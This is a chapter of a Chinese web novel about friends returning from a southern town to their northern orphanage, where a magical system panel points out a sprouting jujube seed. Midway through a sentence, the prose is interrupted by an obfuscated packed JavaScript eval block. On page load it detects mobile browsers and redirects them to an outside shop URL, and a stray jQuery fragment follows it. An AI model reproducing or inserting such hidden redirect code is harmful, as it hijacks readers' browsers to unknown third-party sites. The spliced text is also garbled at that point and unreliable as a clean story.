南城的最后一个早晨，院子里比前几天更安静。
阳光从院墙上方斜斜地切进来，把小银杏树的影子拉得很长，铺在青砖地面上像一幅淡墨的画。书书蹲在自己住的屋子门口，把东西一件一件地收进包里——其实没什么，那本书夹好了银杏叶，信纸叠平整了放回信封，书包带子拉紧，检查了一遍又一遍。
银杏先生从厨房出来，袖口上还沾着面粉。他手里端着一碗刚出锅的桂花糕，放在院里的石桌上，然后用旧报纸把一罐腌菜裹了三四层，塞进书书的书包侧兜里。书书被那罐腌菜坠得身子歪了一下，回过头来看他，银杏先生又从兜里掏出一小包晒干的银杏叶，放进书包前面的小口袋里。
"带回去泡水喝。"银杏先生说，"安神的。"
书书把书包背好，站在院门口仰脸看了银杏先生一会儿。晨光里他的耳尖有一点粉红，嘴唇动了动，最后只说了一句："下次我来住久一点。"
银杏先生笑了一下，没有说"好"或者"欢迎"，只是伸手把他耳边一撮翘起来的头发按下去。动作很轻，像拂一片落在肩上的银杏叶。"等你来，"他说，"冬天过来暖和。"
书书转身走了。走出去两步之后又停了一下，回头看了一眼。银杏先生还站在院门口，那棵小银杏树的叶子在他身后的晨光里落了一地，金色和浅金色叠在一起，铺成一条细碎的路。书书没有再停，转回去跟上了前面等他的队伍。他走的时候背挺得很直，步子不紧不慢的。
高铁返程的车上，陶陶果然把返程的零食也吃完了。
最后一袋薯片最后一片被他舔了包装袋内侧之后，他终于心满意足地趴在小桌板上睡着了，嘴角还沾着一点点薯片碎屑。胡离从旁边看了一眼，没动他，从包里扯了张纸巾放桌板边上，继续用手机打字。书书靠着车窗，手机屏幕上是银杏先生刚发来的消息，他看完之后锁了屏，把手机贴在胸口搁了一会儿，嘴角的弧度一直没有消失。
白泽坐在靠过道的位置，铁皮箱放在膝盖上。他翻开旧册子，目光从一行一行字上慢慢滑过去。车厢微微晃着，窗户外的景色又从南方湿润的绿色逐渐变成了北方偏冷的灰褐色。这一次他没有带着"找"的姿态来读。他停在其中一页上，看了很久。
那一页写着："小雪今早跟一只野猫分了一碗粥。猫喝了两口走了，他把剩下的喝完了。嘴角有粥渍，自己没发现。"
白泽看着那句话，过了几秒，嘴角弯了一点点。然后他翻过去，没有再看第二遍，但手指一直按在那一页的折角上，像在确认那片纸还在那里。
小暖缩在白泽的外套口袋里，只露出半个圆脑袋。暖光从布料里透出来一小团浅金色的轮廓，像一枚随身带着的暖水袋。林小满坐在白泽旁边的座位上，手机备忘录打开了，正在打字，拇指在屏幕上移动得很快，偶尔停下来想一想，然后又继续打。
白泽偏过头来看了一眼。他的视线刚落到手机屏幕边缘，林小满立刻抬手把屏幕按灭了，表情非常坦然地说了一句："没写你。"
白泽收回目光，把旧册子翻了一页。但他嘴角那点弧度又比之前大了一点点。小暖从口袋里探出更长的半截身子来，金色小眼睛在林小满和白泽之间来回晃了一趟，然后把脑袋缩了回去。
北城比南城冷得多。
出了高铁站，冷风灌进衣领的时候陶陶结结实实地打了个哆嗦，连打了三个喷嚏。白泽把那件旧棉袄穿上了，领口的白毛贴着脖子，隔绝了风里那股干冷。胡离把车从停车场开过来，全员上车之后暖气开足，车窗玻璃上很快起了一层薄雾。
车子开回福利院那条巷子的时候天色已经偏暗了。院门上的便签还在，被风吹卷了一角，字迹被潮气洇得有点模糊。林小满开了锁推门进去，门轴发出熟悉的轻响。
院子里的模样和他们离开时一模一样。枣树光秃的枝丫在北城灰蓝色的天空底下伸展着，房檐下的香囊串被风吹得轻轻晃荡，门槛上陶陶啃过的那些牙印还在原处，深浅都没变。但地上的落叶厚了一层，铺满了青砖地面，脚步踩上去发出细碎的沙沙声。
林小满站在门口看了一会儿，然后转身去墙根底下拿了大扫帚。"开工，"她说，"三天没扫了。"
白泽也拿了把小扫帚帮她扫边角。陶陶蹲在廊下看了一会儿，也跑去找了一把小笤帚，虽然用不利索，但跟在白泽后面扫得挺认真。小暖在落叶堆里滚来滚去，暖白色的圆身体在枯叶丛中亮得像一小团移动的暖光，滚过的地方叶子边缘微微卷起，像被什么温柔的东西轻轻熨过。
林小满扫到枣树根附近的时候，系统面板忽然弹了出来。
它亮得不急不慢，蓝色边框在暮色里显得格外清晰。上面是一条新提示：
【落叶已清扫进度：15%。】
【温馨提示：枣树根系东南方向约20厘米处，埋有一颗去年自然脱落的枣核。目前已发芽。建议保留，勿铲除。】
林小满把扫帚杵在地上，蹲下来拨开树根东南方向那一片落叶层。泥土表面果然露出了一根极细的绿芽，比一根针粗不了多少，嫩绿得近乎透明，从褐色的土层里探出来，顶着两片还没完全展开的小叶子。叶片太小了，边缘微微卷着，像两粒叠在一起的袖珍绿珠。
她盯着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943824|214012||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那根绿芽看了好几秒，然后抬头看了看头顶那棵老枣树的枝丫。光秃秃的，在风里微微晃着，干枯的树皮上有几道深刻的裂纹，是这棵树的年纪。她不知道它是什么时候掉落的，也不知道它什么时候埋进了土里、什么时候开始发芽的。
陶陶凑过来趴在她膝盖旁边看，安静地看了很久，然后轻轻说了一句："小树。"
林小满用掌心把那根嫩芽旁边的土拢了拢，没有压实，只是虚虚地盖了一层细土，不让风把它吹干。她站起来重新拿起扫帚的时候，面板上那行"建议保留"已经消失了。没有划掉，自己淡出了。像是系统确认她看见了，就放心地退回去了。
晚饭摆在石桌上。胡离把银杏先生送的腌菜罐打开来倒了一碟，酸脆爽口，配着白粥刚好。陶陶喝完一碗粥之后又摸了一块桂花糕来啃，是银杏先生早上给他单独包的。书书给每人都分了一小袋干银杏叶："泡水喝，安神的。"陶陶捏着那包叶子闻了闻，打了个喷嚏，然后小心翼翼地把叶子包放进了自己口袋里。
白泽坐在石桌边，把那件旧棉袄的领口拢了拢。南城的暖意留在棉袄纤维里还没完全散尽，裹在脖子上的时候能感觉到一层薄薄的余温。小暖蹲在桌角，暖光映着碟子里浅褐色的腌菜汤汁，在串灯底下泛出一圈柔和的蜜色光晕。
林小满喝了一口银杏叶泡的热水，味道很淡，有一缕植物特有的清苦和回甘，慢慢地暖着喉咙。她放下杯子的时候视野角落那块系统面板安静地亮着，那行"枣核已发芽"的字已经没了，现在上面只有一行新字：
【今日任务完成。】
没了。没有积分、没有奖励、没有"下一步建议"，就一句"今日任务完成"。像有人在旁边看了一眼她手里的扫帚，确认了她在做的事，然后点了点头。
林小满把面板划掉了。抬头的时候正好对上了白泽从桌子对面看过来的视线。两个人隔着一桌冒着热气的粥碗和一碟腌菜碰了一瞬的目光。谁也没躲。白泽先低了头，把面前那碟桂花糕往陶陶的方向推了推。
胡离在旁边给陶陶擦嘴角的粥渍。书书在桌角打开了那本书，夹着银杏叶的那一页纸页微微翘起一角，在串灯微弱的暖风里轻轻动了动，像有什么东西在那片叶子里悄悄醒过来了。
晚风从巷口灌进来，比白天小了很多，吹得枣树枝丫轻轻晃了一下。树根底下那根细小的绿芽安安静静地在土层里待着，夜色盖住了它的轮廓，但明天太阳升起来的时候，它会再长一点。
林小满收拾碗筷的时候经过那棵枣树，低头看了一眼那根绿芽的位置。黑漆漆的什么也看不见，但她知道它在那儿。